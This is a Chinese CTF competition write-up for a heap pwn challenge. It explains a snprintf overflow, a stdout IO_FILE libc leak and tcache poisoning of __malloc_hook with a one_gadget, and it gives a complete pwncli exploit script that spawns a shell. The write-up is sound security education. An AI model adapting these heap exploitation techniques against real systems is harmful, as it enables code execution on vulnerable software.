2025 CISCN国赛 x CCB长城杯 半决赛wp
赛场爆0, 赛后复现……
typo
snprintf
存在溢出, 可以通过这个溢出修改后续堆块的结构, 但是由于snprintf
会在写入字符串的末尾写入一个\x00
, 同时存在\x00
截断的问题, 因此我们可以通过申请两个辅助堆块, 辅助堆块1通过堆溢出修改辅助堆块2的可写入size大小, 这样通过edit辅助堆块2就可以通过下方的read进行堆溢出
这道题没有show函数, 因此需要使用IO_leak
的技巧
stdout
结构体中的flags
字段为0xfbad1887
或0xfbad1800
,并且覆盖_IO_read_ptr
、_IO_read_end
、_IO_read_base
这三个指针为0,最后覆盖IO_write_base
指针的最后一字节为\x00
https://www.cnblogs.com/ZIKH26/articles/16627027.html
https://www.cnblogs.com/pwnfeifei/p/15793432.html
这样就可以泄露libc
地址, 随后我们可以通过tcache poisoning
修改malloc hook
为one_gadget
拿到shell
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
72 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))18
19def cmd(i, prompt=b">>"):20 sla(prompt, i)21def add(idx,size):22 cmd(b"1")23 ru(b"Index:")24 sl(str(idx).encode())25 ru(b"Size:")26 sl(str(size).encode())27 # ......28def edit(idx, size, co):29 cmd(b"3")30 ru(b"Index:")31 sl(str(idx).encode())32 ru(b"New size of content:")33 s(size)34 ru(b"What do you want to say:")35 s(co)36 # ......37def dele(idx):38 cmd(b"2")39 ru(b"Index:")40 sl(str(idx).encode())41 # ......42
43
44add(0,0x1f0)45add(1,0x50) # 辅助堆块46add(2,0x1f0)47add(3,0x1f0)48add(4,0x1f0)49add(5,0x1f0) # 用于申请到_IO_2_1_stdout_50add(6,0x1f0)51add(7,0x20)52add(12,0x30) # 辅助堆块53add(13,0x30)54add(14,0x40)55add(15,0x40) # 用于修改malloc hook56# pause()57edit(1,b"A"*0x58+p16(0x601),b"B"*0x10)58dele(2)59dele(0)60dele(3)61add(8,0x30)62add(9,0x1b0)63# pause()64edit(8,b"C"*0x40+p16(0x221),b"B")65# pause()66edit(9,b"AAAA",b"C"*0x1b0+p64(0x401)+p16(0x2690))67pause()68add(10,0x1f0)69add(11,0x1f0)70edit(11,b"A",b"B"*8+p64(0xfbad1887)+p64(0)*3+b"\x00")71libc_base = x64()-0x1ec98072leak("libc_base",libc_base)73malloc_hook = libc_base + libc.sym["__malloc_hook"]74one = [0xe3afe, 0xe3b01, 0xe3b04]75
76dele(15)77dele(14)78# pause()79edit(12,b"B"*0x40+p16(0x120),b"A")80edit(13,b"A",b"C"*0x28+p64(0)+p64(0x51)+p64(malloc_hook-0x10))81add(14,0x40)82add(15,0x40)83edit(15,b"A",b"BBBBBBBB"+p64(libc_base+one[1]))84
85add(16,0x40)86
87ia()